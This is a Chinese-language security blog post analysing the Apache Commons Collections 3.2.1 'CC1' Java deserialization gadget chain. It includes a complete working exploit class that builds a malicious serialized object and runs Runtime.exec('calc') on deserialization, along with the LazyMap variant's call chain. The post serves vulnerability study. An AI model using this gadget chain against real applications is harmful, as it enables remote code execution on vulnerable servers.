JavaSec-CC1

Fc04dB Lv4

# CC1 链

# Commons Collections

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了 Java 的 Collection (集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为 Apache 开源项⽬的重要组件,Commons Collections 被⼴泛应⽤于各种 Java 应⽤的开发,⽽正 是因为在⼤量 web 应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

Apache Commons Collections 中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java 的反射机制来调用任意函数,叫做 InvokerTransformer。

环境:

  • CommonsCollections <= 3.2.1
  • java < 8u71

存一下老版本 java 下载地址:

Java Archive | Oracle 中国

Oracle JDK 8u65 全平台安装包下载 - 码霸霸 (lupf.cn)

导入 Maven 依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

# 利用过程分析

利用这些漏洞的方法一般是寻找到某个带有危险方法的类,然后溯源,看看哪个类中的方法有调用危险方法 (有点像套娃,这个类中的某个方法调用了下个类中的某个方法,一步步套下去,这里表述的可能不是特别清晰,不过没事,慢慢看下去),并且继承了序列化接口,然后再依次向上回溯,直到找到一个重写了 readObject 方法的类,并且符合条件,那么这个就是起始类,我们可以利用这个类一步步的调用到危险方法 (这里以 **“Runtime 中的 exec 方法为例”**),这就是大致的 Java 漏洞链流程。

入口: org.apache.commons.collections.Transformer ,transform 方法有 21 种实现

image-20240917222226514

入口类: org.apache.commons.collections.functors.InvokerTransformer ,它的 transform 方法使用了反射来调用 input 的方法,input,iMethodName,iParamTypes,iArgs 都是可控的

image-20240917222322825

首先先尝试直接利用 invoketransformer 来执行命令

image-20240917222930198

去找一个其它的类有 transform 方法,并且传入的 Object 是可控的,然后我们只要把这个 Object 设为 InvokeTransformer 即可,我们全局搜索 transform 方法,能够发现很多类都是有 transform 方法的,我们这里先研究的是 CC1,所以我们直接看 TransformerMap

image-20240917223412631

TransformedMap 中的 checkSetValue 方法中调用了 transform,valueTransformer 是构造的时候赋的值,再看构造函数

构造函数是一个 protected,所以不能让我们直接实例赋值,只能是类内部构造赋值,找哪里调用了构造函数

image-20240917223453118

一个静态方法,这里我们就能控制参数了

image-20240917223522499

现在调用 transform 方法的问题解决了,返回去看 checkSetValue,可以看到 value 我们暂时不能控制,全局搜索 checkSetValue,看谁调用了它,并且 value 值可受控制,在 AbstractInputCheckedMapDecorator 类中发现,凑巧的是,它刚好是 TransformedMap 的父类

image-20240917224702252

image-20240917225520330

在遍历集合的时候就用过 setValuegetValue ,所以只要对 decorate 这个 map 进行遍历 setValue,由于 TransformedMap 继承了 AbstractInputCheckedMapDecorator 类,因此当调用 setValue 时会去父类寻找,写一个 demo 来测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.Fc0;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) {
Runtime rt = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("1","2");
Map<Object,Object> decorate = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry: decorate.entrySet()){
entry.setValue(rt);
}
}
}

image-20240917230456015

继续查找用法,看看有哪些方法里面调用了 setValue 并且可以被我们所利用,最好是直接来个重写过的 readObject 方法,里面调用了 setValue,于是我们在 AnnotationInvocationHandler 这个类中看到有个调用了 setValue 方法的 readObject 方法,很完美的实现了代替之前 Map 遍历功能:

感谢我的朋友 Mak 的指导,才知道要在 rt.jar 里找😭(尴尬.jpg

sun.reflect.annotation.AnnotationInvocationHandler:

image-20240918004318907

我们分析下 AnnotationInvocationHandler 这个类,未用 public 声明,说明只能通过反射调用

image-20240918004337328

查看一下构造方法,传入一个 Class 和 Map,其中 Class 继承了 Annotation,也就是需要传入一个注解类进去,这里选择 Target

image-20240918004355175

现在有个难题是 Runtime 类是不能被序列化的,但是反射来的类是可以被序列化的,还好 InvokeTransformer 有一个绝佳的反射机制,构造一下:

1
2
3
Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
  1. RuntimeMethod :利用 InvokerTransformer 获取 Runtime 类的 getRuntime 方法。这个代码段通过反射获取 Runtime 类的 getRuntime 方法,这是一个静态方法,返回 Runtime 实例。
  2. r :调用 getRuntime 方法,获取 Runtime 实例。这一步实际调用了 getRuntime 方法,获得一个 Runtime 对象,它可以用于执行系统命令
  3. invokerTransformer :通过 InvokerTransformer ,使用 exec 方法在运行时执行系统命令 calc 。这行代码调用 Runtimeexec 方法,传递 "calc" 参数,企图打开计算器应用程序。

现在还有个小问题,其中我们的 transformedmap 是传入了一个 invokertransformer ,但是现在这个对象没有了,被拆成了多个,就是上述四段代码,得想个办法统合起来,这里就回到最初的 Transformer 接口里去寻找,找到 ChainedTransformer ,刚好这个方法是递归调用数组里的 transform 方法

image-20240918105341958

我们就可以这样构造:

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

到这一步雏形以及可以构造出来了

1. serializedeserialize 方法

  • serialize(Object obj) :将传入的对象序列化并写入 cc1.bin 文件中。
  • deserialize(String filename) :从文件 cc1.bin 中读取序列化的对象。

这两个方法是为了进行序列化与反序列化操作,目的是利用序列化数据触发恶意代码执行。

2. 构造 ChainedTransformer

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这部分代码使用 InvokerTransformerChainedTransformer 构建了一个链式转换器,按顺序调用:

  1. 获取 Runtime 类的 getRuntime 方法。
  2. 调用 getRuntime 方法,获取 Runtime 实例。
  3. 通过 Runtime.exec("calc") 执行系统命令,打开计算器。

3. 使用 TransformedMap 装饰 Map 对象

1
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

这段代码将普通的 HashMap 对象装饰为 TransformedMap ,在调用 putget 等方法时,将会触发链式转换器中的逻辑。

4. 构造 AnnotationInvocationHandler 实例

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);

这里通过反射创建了 AnnotationInvocationHandler 的实例,并传入了目标类和经过装饰的 Map 。当该对象被序列化或反序列化时,恶意代码将被执行。

5. 序列化与反序列化: 最后,将构造出的对象序列化到文件中,并在反序列化时,通过 chainedTransformer 的执行链,最终执行 Runtime.exec("calc")

但是这里反序列化并不能执行命令,why?原因在于 AnnotationInvocationHandler 里触发 setValue 是有条件的,我们调试追踪进去看看:

image-20240918110301122

要想触发 setValue 得先过两个 if 判断,先看第一个 if 判断,memberType 不能为 null,memberType 其实就是我们之前传入的注解类 Target 的一个属性,这个属性哪里来的?就是我们最先传入的 map map.put("1","2")
获取这个 name:1,获取 1 这个属性,很明显我们的 Target 注解类是没有 1 这个属性的,我们看一下 Target 类

image-20240918110542237

Target 是有 value 这个属性的,所以我们改一下 map, map.put("value", 1) ,这样就过了第一个 if,接着往下看第二个 if,这里 value 只要有值就过了,成功到达 setValue,但这里还有最后一个问题,如何让他调用 Runtime.class?这里又得提到一个类, ConstantTransformer , 这个类的特点就是我们传入啥,它直接就返回啥

image-20240918110906822

这样就能构造最终的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.Fc0;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc1.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","1");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(o);
deserialize("cc1.bin");
}
}

image-20240918111016503

以上是其中一条 CC1,还有另一条 CC1,是从 LazyMap 入手,我们也来分析一下,在 LazyMap 的 get 方法里调用了 transform

image-20240918111305638

看构造方法,factory 需要我们控制,同样在类内部找哪里调用了这个构造方法

image-20240918111631428

很明显,跟之前基本相似,就是从 checkValue 换到了 get

image-20240918111708814

那么 get 在哪调用的,还是在 AnnotationInvocationHandler ,它的 invoke 方法调用了 get

image-20240918111940219

这里是个动态代理,我们可以用 AnnotationInvocationHandler 来代理 LazyMap,这样就会触发 invoke 方法,构造一下 exp(基本大差不差):

image-20240918112107326

# 完整利用连:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
  • Title: JavaSec-CC1
  • Author: Fc04dB
  • Created at : 2024-09-17 21:28:41
  • Updated at : 2024-09-18 12:30:32
  • Link: https://redefine.ohevan.com/2024/09/17/JavaSec-CC1/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments